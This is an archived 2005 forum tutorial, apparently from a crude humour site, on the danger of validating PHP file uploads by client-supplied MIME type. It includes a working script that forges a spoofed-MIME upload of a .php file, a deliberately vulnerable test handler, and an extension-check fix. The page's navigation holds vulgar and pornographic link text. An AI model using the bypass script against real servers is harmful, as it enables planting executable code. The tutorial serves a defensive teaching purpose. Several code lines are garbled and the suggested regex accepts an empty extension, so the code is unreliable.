Monday 01 December 2008, 11:21:31                Your Ad Here
site navigation
news
jihad
b0gcams
pr0n
fun images
offensive shit
misc stuff
fan stuff
all posts
archives
b0g ezine
user stats
search
post bump
sex dot php
words
irc quotes
photoshop
user journals
forum

user options
login
signup
lost password

Sponsors


top referers
entensity
phun
sickestsites
fuckaliciousporn
uniquepeek
stileproject
Bizarre Videos
idlearmy
hotpornstar
indienudes
hotpornstars
theweirdstuff
annihilationx
link-factory
heaven666
all referrers

b0g poll
I've cum in a measuring cup, do I get...
4 oz
8 oz
12 oz
16 oz
20 oz
24 oz
32 oz
36 oz
41 comments | suggest
users online
7 members - 79 guests
Baraka_0bama M0rbid Phuchuebuddy yettti activist h4rdc0re rawksor Schakuz

what they doing






 
Validating file uploads with PHP.

I've seen a lot of scripts and tutorials where people use the file type (or mime type) to validate if a file is allowed to be uploaded. This is inherently dangerous and will allow 'banned' files to get around your filter. In this article I will demonstrate how this is done and include some better ways to make these checks.

A sample of what is often used;

<?php
$allowed=array('image/pjpeg','image/jpeg','image/g if','image/bmp','image/x-png');

if(in_array($_FILES['file']['type'],$allowed))
{
   echo 'is allowed';
}
else
{
   echo 'is not allowed;
}
?>



When writing web applications, or any for that fact, one thing to remember is trust nothing. One can't stress this enough, especially when it comes to user input. Users can, and will enter all sorts that will make your application go coocoo. When I say user input, I don't mean just anything directly from the user, I mean anything that comes from outside the application.

Going back to our example, as you've probably now realised, file uploads and the information they contain come from the user. This needs to be checked. But I am checking you say! See my example above. Yes, but you're checking user input against user input - do you know where that mime type came from ? It all came from the user (or browser in this case). Sure most browsers will set this information to be correct but Joe Hacker won't.

Lets see what he'd use to set a mime type to pass the validation code and upload a .php file;

<?php
define('SHOW_HEADERS',false);


$upload_script='your_domain.com/your_upload_script.php';
$form_field_name='file';
$filename='file.php';
$content_type='image/jpeg';
$php_code="<?php echo 'evil code >:)'; ?>";


$post_data="
--AaB03x
content-disposition: form-data; name=\"$form_field_name\"; filename=\"$filename\"
Content-Type: $content_type

$php_code
--AaB03x--";


echo get_source($upload_script);


function get_source($url)
{
   global $post_data;
   
   $buffer='';
   $headers='';
   
   $len=strlen($post_data);
   $pos=strpos($url,'/');
   $domain=substr($url,0,$pos);
   $uri=substr($url,$pos+1,strlen($url));
   
   
   $fp=fsockopen($domain,80,$errno,$errstr,4);
   
   
   fputs($fp,"POST /$uri HTTP/1.0\r\n");
   fputs($fp,"Host: $domain\r\n");
   fputs($fp,"Content-Length: $len\r\n");
   fputs($fp,"Content-type: multipart/form-data, boundary=AaB03x

   $post_data\r\n");
   fputs($fp,"Connection: close\r\n");
   fputs($fp,"\r\n");
   
   
   while(!feof($fp))
   {
      if(!isset($end_of_headers))
      {
         $header=fgets($fp,409 6);
         if($header=="\r\ n")
         {
            $en d_of_headers=1;
         }
         $headers.=$header;
      }
      else
      {
         $buffer.=fgets($fp,40 96);
      }
   }
   
   fclose($fp);
   
   if(SHOW_HEADERS)
   {
      $headers=htmlentities($headers);
      $headers=nl2br($headers);
      
      $buffer=$headers.$buffer;
   }
   
   return $buffer;
}
?>



As you can see, all he needs to do is set $content_type to something your filter allows and he can upload any file he likes. In this case it was a PHP file and it only echos out a small sentence. What if it does something drastically more evil ?

Here's a sample script you can use to test the above against.

<?php
$allowed=array('image/pjpeg','image/jpeg','image/g if','image/bmp','image/x-png');

if(in_array($_FILES['file']['type'],$allowed))
{
   echo 'The file is cool :)';
   echo '<br>Filename: <b>',$_FILES['file']['name'];
   echo '</b><br>Filetype: <b>',$_FILES['file']['type'];
   echo '</b><br>File contains;<p>',htmlspecialchars(file_get_contents($_FILES['f ile']['tmp_name']),ENT_QUOTES);
}
else
{
   echo 'The file is bad :(';
}
?>



Better ways to check the file.

When checking user input, it should only contain what you're expecting. Does it really need numbers in it ? Does it really need 'funny' characters ? Figure out what the data should contain and check for that. If it contains anything you're not expecting, error out and tell the user to correct it. Regular expressions and the string functions are great for this.

As long as your web server's mime handling is set up correctly, these examples should be more than adequate;

<?php
$filename=$_FILES['file']['name'];

if(!preg_match("/\.(jpe?g|png|gif|bmp|)$/is",$filename))
{
   die('Invalid file extension uploaded');
}


if(!preg_match("/^[a-z0-9_\-]+\./is",$filename))
{
   die('Invalid characters used');
}

if(strlen($filename)>32)
{
   die('Filename length is too long');
}

// process upload
?>



This is just a check against the file's name/extension as that is where the most immediate danger lies. Actual file validation is beyond the scope of this article. For information on what any of any these PHP functions do please see www.php.net/function_name. For information on file uploads please see rfc1867.
posted by tress on Thursday 28th July 2005, 08:14:20read 1493 times

back | previous | next | post comment

  • by mrbear on Thursday 28th July 2005, 08:24:34
  • by r0XX0r on Thursday 28th July 2005, 10:39:21
  • by Trizzle on Thursday 28th July 2005, 10:42:52
  • by FastDraw on Thursday 28th July 2005, 14:12:50
  • by Azrael on Thursday 28th July 2005, 22:33:41
  • by G-Man on Friday 29th July 2005, 03:23:49
  • by Dopey_scorpio on Thursday 28th July 2005, 13:19:53
  • by lemmiwinks on Thursday 28th July 2005, 16:45:17
  • by surgeonbob on Thursday 28th July 2005, 20:09:06
  • Bionic-Badger on Friday 29th July 2005, 03:59:14 (#15791) (journal)
    Good info, though at first read I thought my extension checking code was insufficient, but I guess that's the right way, though I should probably combine it with MIME checking too.
    reply to this comment

    makc on Wednesday 4th October 2006, 04:14:17 (#39523) (journal)
    if this is graphics, maybe you should try and overwrite files headers in parts where it is possible. this will make sure that whatever script it was, it is broken and won't work after upload.
    reply to this comment


    powered by wsnm v0.85 | rss.php
    page generated in 0.054 seconds; executed 6 queries
    time in php: 0.0461 (85%) - time in mysql: 0.0079 (15%)
    /server us.undernet.org - #b0g 11 posts pending approval © b0g.org
    contact: tress - k-rad-bob